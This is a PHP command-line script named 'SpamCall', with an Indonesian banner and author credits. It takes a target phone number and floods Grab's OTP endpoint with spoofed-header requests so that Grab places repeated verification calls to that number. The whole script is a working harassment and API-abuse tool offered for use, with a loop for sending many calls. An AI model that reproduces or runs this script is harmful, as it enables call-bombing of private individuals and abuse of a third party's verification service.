PHP Decode

[]=======================================[] 
[]                                    SpamCall  	                                 [] 
[] => Author   : MRLINKERRRORSYSTEM                  [] 
[] => Nama     : AHMADCHENEWANGXUESI            [] 
[] => Youtube  : BERBAGIILMUDANAKALSEHAT    [] 
[] => Facebook : FAHIRAFIAANASTASYA                 [] 
[] => Wa          : 6281249281???                                   [] 
[] => github   : errorsystem                                            [] 
[]=======================================[] 
[]                    Gunakan Dengan Bijak                            [] 
[]=======================================[] 
 
<?php 
system('clear'); 
function get(){ 
	return trim(fgets(STDIN)); 
} 
class prankcall{ 
	public function __construct($no){ 
		$this->number = $no; 
	} 
	private function get(){ 
		return trim(fgets(STDIN)); 
	} 
	private function correct($no){ 
		$cek = substr($no,0,2); 
		if($cek=="08"){ 
			$no = "62".substr($no,1); 
		} 
		return $no; 
	} 
	private function ekse(){ 
		$no = $this->correct($this->number); 
		$rand = rand(0123456,9999999); 
		$rands = $this->randStr(12); 
		$post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production"; 
		$h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands"; 
		$h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8"; 
		$h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)"; 
		$h[] = "Content-Type: application/x-www-form-urlencoded"; 
		$h[] = "Content-Length: ".strlen($post); 
		$h[] = "Host: api.grab.com"; 
		$h[] = "Connection: close"; 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp"); 
		curl_setopt($ch, CURLOPT_POST, 1); 
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
		curl_setopt($ch, CURLOPT_HTTPHEADER, $h); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		$x = curl_exec($ch); curl_close($ch); 
		$ekse = json_decode($x,true); 
		if(empty($ekse['challengeID'])){ 
			echo "Gagal
"; 
		}else{ 
			echo "Sukses
"; 
		} 
	} 
	private function loop($many,$sleep=null){ 
		$a=0; 
		$no = $this->correct($this->number); 
		while($a<$many){ 
			$rand = rand(0123456,9999999); 
			$rands = $this->randStr(12); 
			$post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production"; 
			$h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands"; 
			$h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8"; 
			$h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)"; 
			$h[] = "Content-Type: application/x-www-form-urlencoded"; 
			$h[] = "Content-Length: ".strlen($post); 
			$h[] = "Host: api.grab.com"; 
			$h[] = "Connection: close"; 
			$ch = curl_init(); 
			curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp"); 
			curl_setopt($ch, CURLOPT_POST, 1); 
			curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
			curl_setopt($ch, CURLOPT_HTTPHEADER, $h); 
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			$x = curl_exec($ch); curl_close($ch); 
			$ekse = json_decode($x,true); 
			if(empty($ekse['challengeID'])){ 
				continue; 
			}else{ 
				$nn = $a+1; 
				echo "[$nn] Sukses
"; 
				$a++; 
			} 
			if($sleep!=null) sleep($sleep); 
			if($a>=$many) echo "
Completed!
"; 
		} 
	} 
	private function randStr($l){ 
		$data = "abcdefghijklmnopqrstuvwxyz1234567890"; 
		$word = ""; 
		for($a=0;$a<$l;$a++){ 
			$word .= $data{rand(0,strlen($data)-1)}; 
		} 
		return $word; 
	} 
	public function run(){ 
		while(true){ 
			echo "==> Mau Kirim Banyak? (y/n) = "; 
			$loop = $this->get(); 
			if($loop=="y" OR $loop=="n"){ 
				break; 
			}else{ 
				echo "Jika ya jawab y jika tidak jawab n
"; 
				continue; 
			} 
		} 
		if($loop=="y"){ 
			echo "==> Masukan Jumlah = "; 
			$many = $this->get(); 
			$this->loop($many); 
		}else{ 
			$this->ekse(); 
		} 
	} 
} 
echo " 
";                                                                             echo " ____                         ____      _ _ 
/ ___| _ __   __ _ _ __ ___  / ___|__ _| | | 
\___ \| '_ \ / _` | '_ ` _ \| |   / _` | | | 
 ___) | |_) | (_| | | | | | | |__| (_| | | | 
|____/| .__/ \__,_|_| |_| |_|\____\__,_|_|_| 
      |_|                              
"; 
echo "  Code By MRLINKERRORSYSTEM   [] v.OriginalByMe
"; 
echo "
"; 
echo " 
"; 
echo "[]==============================================[] 
[] => Author   : MRLINKERRRORSYSTEM              |      
[] => Nama     : AHMADCHENEWANGXUESI             |      
[] => Youtube  : BERBAGIILMUDANAKALSEHAT         |   
[] => Facebook : FAHIRAFIAANASTASYA              |     
[] => Wa          : 6281249281???                | 
[] => github   : errorsystem                     | 
[]============================================== | 
[]Gunakan Dengan Bijak[]                         | 
[]==============================================[]
"; 
echo "
"; 
echo "
"; 
echo "[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
"; 
echo "[!] Bisa Mengugunakan 62/08 [ contoh 62********* / 08*********** ] [!]
"; 
echo "[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
"; 
echo " 
"; 
echo "
"; 
echo " 
"; 
sleep ('0.4'); 
echo "==> Masukan No Target = "; 
$no = get(); 
$n = new prankCall($no); 
$n->run(); 
 ?>